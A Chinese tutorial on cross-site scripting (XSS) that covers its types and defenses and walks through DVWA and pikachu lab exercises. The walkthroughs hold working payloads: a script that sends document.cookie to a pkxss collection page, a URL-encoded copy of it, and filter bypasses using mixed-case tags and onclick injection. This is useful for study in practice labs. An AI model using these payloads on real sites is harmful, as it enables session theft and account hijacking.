xss 漏洞

xss 漏洞

  • 1.1 漏洞简介
  • 1.2 漏洞影响范围
  • 1.3 漏洞详解
    • 1.3.1 漏洞原理、类型、影响、措施
    • 1.3.2 实例
      • DVWA 靶场实验
        • 反射性 xss
        • 存储型xss
        • DOM 型 XSS
      • pikachu靶场实验
        • 反射 get 型 xss
        • 反射 post 型 xss
      • xss 绕过

1.1 漏洞简介

  1. XSS 的原理
    跨站脚本攻击 XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者往 Web 页面里插入恶意 Script 代码,当用户浏览该页面时,嵌入 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。XSS 攻击针对的是用户层面的攻击!
  2. 分类
    XSS 分为:存储型 、反射型 、DOM 型 XSS
    存储型 XSS:存储型 XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种 XSS 比较危险,容易造成蠕虫,盗窃 cookie
    反射型 XSS:非持久化,需要欺骗用户自己去点击链接才能触发 XSS 代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型 XSS 大多数是用来盗取用户的 Cookie 信息。
    DOM 型 XSS:不经过后端,DOM-XSS 漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS 是通过 url 传入参数去控制触发的,其实也属于反射型 XSS

1.2 漏洞影响范围

  1. Web 应用程序:XSS 漏洞主要影响 Web 应用程序,特别是那些允许用户输入和显示内容的网页应用程序。如果开发人员没有正确过滤或转义用户输入的数据,攻击者可以插入恶意脚本代码,并在受害者浏览器中执行。

  2. 受害者浏览器:XSS 漏洞通过操纵 Web 应用程序输出到受害者浏览器的 HTML 或 JavaScript 代码来实施攻击。一旦受害者浏览器加载了带有恶意脚本的页面,攻就可以执行作,如窃取用户信息、篡改页面内容或进行其他恶意活动。

  3. 用户:任何与受影响的 Web 应用程序交互

1.3 漏洞详解

1.3.1 漏洞原理、类型、影响、措施

xss 攻击通过注入恶意脚本到受害者的浏览器中执行,从而实施攻击

  1. 漏洞原理:XSS 漏洞发生在 Web 应用程序未正确对用户输入进行验证、过滤或转义,导致恶意脚本可以被插入到动态生成的 HTML 页面中,当其他用户访问该页面时,恶意脚本会在其浏览器中执行。

  2. 攻击类型:

    • 反射型 XSS:攻击者将恶意脚本作为参数或数据提交给 Web 应用程序,然后服务器将这些恶意内容回显到响应页面,如果用户点击包含恶意脚本的链接,则恶意脚本会在其浏览器中执行。
    • 存储型 XSS:攻击者将恶意脚本存储在 Web 应用程序的数据库或其他持久性存储中,然后其他用户在浏览相关内容时,服务器会将存储的恶意脚本返回给他们的浏览器,从而执行攻击。
  3. 攻击影响:

    • 数据窃取:攻击者通过 XSS 可以窃取受害者的敏感信息,如登录凭据、Cookie 数据或其他个人隐私信息。
      会话劫持:攻击者可以利用 XSS 漏洞获取受害者的会话信息,以伪装成受害者,并执行某些操作。
    • 网站篡改:攻击者可以通过注入恶意代码来更改网站内容、插入广或钓鱼页面。
  4. 防御措施:

    • 输入验证和过滤:对用户输入数据进行有效验证和过滤,确保不包含恶意脚本。
    • 输出转义:在将用户数据插入到 HTML 或 JavaScript 代码之前,使用适当的编码/转义,可以防止被解析为可执行代码。
    • 安全编码实践:采用安全的开发实践,如使用 Web 框架或库提供的安全方法。
    • 内容安全策略(CSP):实施 CSP 可以帮助限制浏览器中可执行的内容来源,用于防止 XSS 攻击。

1.3.2 实例

DVWA 靶场实验

反射性 xss

构造:url/?username=<script>alert('hello')</script>,作为 js 代码指定
在这里插入图片描述
获取 cookie 值
在这里插入图片描述
在这里插入图片描述

存储型xss

持久型,每次进入页面或者刷新都会被执行
在这里插入图片描述
在这里插入图片描述

DOM 型 XSS
<!-- 可能触发DOM型XSS的属性 -->
document.referer window.name location innerHTML documen.write

在这里插入图片描述

pikachu靶场实验

在这里插入图片描述
查看源码
在这里插入图片描述

构造 payload,然后测试
payload:#' onclick="alert(11)">
"<a href='"+str+"'>what do you see?</a>"–><a href='#' onclick="alert(11)">'>what do you see?</a>
在这里插入图片描述
cookie 获取
平台:pkxss
在这里插入图片描述
在这里插入图片描述

反射 get 型 xss

首先在 pikachu 的 xss(get)请求中构造 payload
<script>document.location='http://pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>
输入框长度受限,修改到 200000,然后输入 payload,提交
在这里插入图片描述

提交成功后进入 pkxss 后台查看获取的 cookie
http://pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fpikachu%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E&submit=submit
在这里插入图片描述

反射 post 型 xss

使用反射型 xss(post),可以看到数据是以 post 的形式传递在请求体中
在这里插入图片描述
bp 抓包
在这里插入图片描述
构造 form 表单
在这里插入图片描述
构造 url,让登录用户点击 url,提交表单,获取 cookie,从而拿到用户的登录名和密码
http://pikachu/pkxss/xcookie/post.html
在这里插入图片描述

存储型 xss和Dom 型 xss与dvwa靶场相似,可自行测试

xss 绕过

  1. script标签大小写绕过
    <ScRipt>alert(111)</ScRipt>
    在这里插入图片描述

点击提交后会弹出对应内容
在这里插入图片描述

代码审计:后端代码中只对小写 script 进行了过滤
在这里插入图片描述
2. htmlspecialcharts
后端使用 htmlspecialcharts 对输入的特殊字符进行过滤但是对'不过滤
在这里插入图片描述
前端将输出内容放在了 href 里面
在这里插入图片描述

构造 payload
x' onclick='alert(9999)'
在这里插入图片描述
在这里插入图片描述
还有很多绕过如url编码、html编码等

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/214844.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

观海微电子----LVDS接口

LVDS&#xff08;Low Voltage Differential Signaling&#xff0c;即低电压差分信号&#xff09; 常见于高清分辨率的屏幕&#xff0c;是TTL接口的升级版&#xff0c;LVDS接口是在TTL的技术上编码而成&#xff0c;使用低压差分信号来进行传输。 这种技术的核心是采用极…

Vue混淆与还原

Vue混淆与还原 引言 Vue是一种流行的JavaScript框架&#xff0c;用于构建用户界面。它简单易用且功能强大&#xff0c;备受开发者喜爱。然而&#xff0c;在传输和存储过程中&#xff0c;我们需要保护Vue代码的安全性。混淆是一种有效的保护措施&#xff0c;可以加密和压缩代码…

【VS Code开发】使用Live Server搭建MENJA小游戏并发布至公网远程访问

文章目录 前言1. 编写MENJA小游戏2. 安装cpolar内网穿透3. 配置MENJA小游戏公网访问地址4. 实现公网访问MENJA小游戏5. 固定MENJA小游戏公网地址 前言 本篇教程&#xff0c;我们将通过VS Code实现远程开发MENJA小游戏&#xff0c;并通过cpolar内网穿透发布到公网&#xff0c;分…

UDP多人群聊

一&#xff0c;创建类 二&#xff0c;类 1&#xff0c;Liao类 import java.awt.*; import java.awt.event.*; import javax.swing.*; import java.net.*; import java.io.IOException; import java.lang.String; public class Liao extends JFrame{ private static fi…

Diffusion Models: A Comprehensive Survey of Methods and Applications

摘要 扩散模型作为一个强大的新的深度生成模型系列出现&#xff0c;在许多应用中具有破纪录的性能&#xff0c;包括图像合成、视频生成和分子设计。在这项调查中&#xff0c;我们对迅速扩大的扩散模型的工作进行了概述&#xff0c;将研究分为三个关键领域&#xff1a;有效采样…

基于SSM的教师上课系统

末尾获取源码 开发语言&#xff1a;Java Java开发工具&#xff1a;JDK1.8 后端框架&#xff1a;SSM 前端&#xff1a;Vue 数据库&#xff1a;MySQL5.7和Navicat管理工具结合 服务器&#xff1a;Tomcat8.5 开发软件&#xff1a;IDEA / Eclipse 是否Maven项目&#xff1a;是 目录…

2024年跨年倒计时代码祝福!

首先&#xff0c;本代码借鉴了陈橘又青这位博主的代码参考 如有冒犯&#xff0c;请联系我删除 <!doctype html><html><head><meta charset"utf-8"><title>新年快乐</title><style>body{overflow: hidden;margin: 0;}h1{…

C# UDP

UDP是一个无连接协议&#xff0c;传输数据之前源端和终端不建立连接&#xff0c;当它想传送时就简单地去抓取来自应用程序的数据&#xff0c;并尽可能快地把它扔到网络上。在发送端&#xff0c;UDP传送数据的速度仅仅是受应用程序生成数据的速度、计算机的能力和传输带宽的限制…

【数据安全】金融行业数据安全保障措施汇总

数字化的今天&#xff0c;数据的价值不可估量&#xff0c;尤其是金融行业&#xff0c;数据不仅代表着企业的核心资产&#xff0c;还涉及到客户的隐私和信任。因此对于金融行业而言&#xff0c;保障数据安全至关重要。下面我们就来一起讨论为什么金融行业要保障数据安全&#xf…

Android渲染-AHardwareBuffer

本文主要从应用的角度介绍android的native层AHardwareBuffer创建纹理以及保存渲染数据。 HardwareBuffer 要介绍native层的AHardwareBuffer&#xff0c;就需要先从Java层的HardwareBuffer说起。Android官方对于HardwareBuffer介绍如下&#xff1a; HardwareBuffer wraps a na…

Java预科知识

以下内容是根据狂神的Java说、chatgpt和csdn相关博客&#xff0c;结合自己的理解完成的。 Java了解 基于Java 开发了巨多的平台&#xff0c;系统&#xff0c;工具 构建工具&#xff1a; Ant, Maven, Jekins应用服务器&#xff1a;Tomcat, Jetty, Jboss, Websphere, weblogic…

dell r720远程网络安装ubuntu20.04(无U盘)

登陆后界面&#xff0c;在主界面上&#xff0c;我们就可以看到各个硬件组件的状态。在快速启动任务栏中&#xff0c;可以对系统电源进行操作&#xff0c;如开机、关机等。安装操作系统&#xff0c;在虚拟控制台预览处点击>启动 按照浏览器出现的提示确定安装控件等&#x…

软件设计师——数据结构(一)

&#x1f4d1;前言 本文主要是【数据结构】——软件设计师——数据结构的文章&#xff0c;如果有什么需要改进的地方还请大佬指出⛺️ &#x1f3ac;作者简介&#xff1a;大家好&#xff0c;我是听风与他&#x1f947; ☁️博客首页&#xff1a;CSDN主页听风与他 &#x1f304…

running小程序重要技术流程文档

一、项目文件说明&#xff1a; &#xff08;注&#xff1a;getMyMoney无用已删除&#xff09; 二、重要文件介绍 1.reinfo.js&#xff1a;位于utils文件下&#xff0c;该文件封装有统一的请求URL&#xff0c;和请求API同意封装供页面调用&#xff1b;调用时候需要在页面上先…

unittest与pytest的区别

Unittest vs Pytest 主要从用例编写规则、用例的前置和后置、参数化、断言、用例执行、失败重运行和报告这几个方面比较unittest和pytest的区别: 用例编写规则 用例前置与后置条件 断言 测试报告 失败重跑机制 参数化 用例分类执行 如果不好看&#xff0c;可以看下面表格&…

算能 MilkV Duo开发板实战——opencv-mobile (迷你版opencv库)的移植和应用

前言 OpenCV是一种开源的计算机视觉和机器学习软件库&#xff0c;旨在提供一组通用的计算机视觉工具。它用于图像处理、目标识别、人脸识别、机器学习等领域&#xff0c;广泛应用于计算机视觉任务。 OpenCV-Mobile是OpenCV库的轻量版本&#xff0c;专为移动平台&#xff08;A…

[MySQL] SQL优化之性能分析

&#x1f308;键盘敲烂&#xff0c;年薪30万&#x1f308; 目录 一、索引优化 1、索引是什么&#xff1a; 2、索引的数据结构&#xff1a; 3、索引种类&#xff1a; 4、sql分析&#xff08;回表查询&#xff09; 二、定位慢查询语句 1、慢查询日志 2、profile详情 3、…

洛谷P3807 Lucas定理

传送门&#xff1a; P3807 【模板】卢卡斯定理/Lucas 定理 - 洛谷 | 计算机科学教育新生态 (luogu.com.cn)https://www.luogu.com.cn/problem/P3807题干&#xff1a; 给定整数n,m,p 的值&#xff0c;求出C&#xff08;nm&#xff0c;n&#xff09;​mod p 的值。 输入数据保证…

案例027:基于微信小程序的校园二手平台的设计与实现

文末获取源码 开发语言&#xff1a;Java 框架&#xff1a;SSM JDK版本&#xff1a;JDK1.8 数据库&#xff1a;mysql 5.7 开发软件&#xff1a;eclipse/myeclipse/idea Maven包&#xff1a;Maven3.5.4 小程序框架&#xff1a;uniapp 小程序开发软件&#xff1a;HBuilder X 小程序…

SAP UI5 walkthrough step3 Controls

在上一步&#xff0c;我们是直接用index.html 中的body 里面的DIVision去输出 hello world&#xff0c; 在这个章节&#xff0c;我们将用SAP UI5 的标准控件 sap/m/Text 首先&#xff0c;我们去修改 webapp/index.html <!DOCTYPE html> <html> <head><…